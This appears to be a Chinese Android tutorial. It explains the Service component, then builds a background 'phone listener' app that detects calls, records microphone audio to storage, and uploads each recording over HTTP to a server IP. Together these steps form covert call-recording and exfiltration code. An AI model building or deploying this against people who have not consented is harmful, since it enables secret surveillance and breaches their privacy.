Service
Service——四大组件之一
1、后台服务. 长期在后台运行, 都没用户界面的一个组件. 2、可以看做是没有用户界面的Activity,不够准确,activity有任务栈,二service没有任务栈 3、适合于守护性的操作,以及长期的数据刷新,同步操作 一、一个类继承Service,成为一个Service public class PhoneService extends Service{} 二、在manifest.xml中进行配置 <service android:name="cn.zengfansheng.interceptcall.PhoneService" ></service>
三、开始服务和停止服务
startService(intent); stopService(intent);
四、Service主要方法 onCreate() 服务被创建的时候调用的方法
onDestroy() 服务被销毁的时候调用的方法
|
电话监听器 通话录音,电话录音,电话监听 技术点: 1、开启监听电话状态 private TelephonyManager tm;
private MyPhoneListener listener; tm = (TelephonyManager) this.getSystemService(Context.TELEPHONY_SERVICE);
listener = new MyPhoneListener();
//注册一个监听器 ,监听器 电话呼叫状态的变化.
tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);// PhoneStateListener 2、录音 // 1.创建一个mediaRecoder的实例.
mediaRecorder = new MediaRecorder();
// 2.指定从哪里获取数据 从话筒 mic里面获取数据
mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
// 3.设置输出文件格式
mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
// 4.设置输出文件的名称
mediaRecorder.setOutputFile(Environment.getExternalStorageDirectory()+"/info.3gp");
// 5.设置音频编码方式.
mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
// 6.准备录音机
mediaRecorder.prepare();// 7、开始录音 mediaRecorder.start(); // 8、停止录音
mediaRecorder.stop();
// 9、释放资源
mediaRecorder.release();
mediaRecorder = null;3、使用AsyncHttp进行文件上传 AsyncHttpClient asyncHttpClient = new AsyncHttpClient();
String url = "http://192.168.221.221:8080/FileUpload/FileUploadServlet";
RequestParams params = new RequestParams();
File myfile = new File(file);
params.put("file", myfile);
asyncHttpClient.post(url, params, new AsyncHttpResponseHandler() {
@Override
public void onSuccess(String content) {
System.out.println("录音上传成功。。。");
}
@Override
public void onFailure(Throwable error, String content) {
System.out.println("录音上传失败。。。");
}
});四、权限 <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.INTERNET"/>
|
完整代码: MainActivity.java
PhoneService.java
AndroidManifest.xml <?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="cn.zengfansheng.interceptcall"
android:versionCode="1"
android:versionName="1.0" >
<uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="18" />
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.INTERNET"/>
<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name="cn.zengfansheng.interceptcall.MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<!--TODO 二、在manifest.xml中进行配置 -->
<service android:name="cn.zengfansheng.interceptcall.PhoneService" >
</service>
</application>
</manifest> |
录制音频:http://developer.android.com/guide/topics/media/audio-capture.html |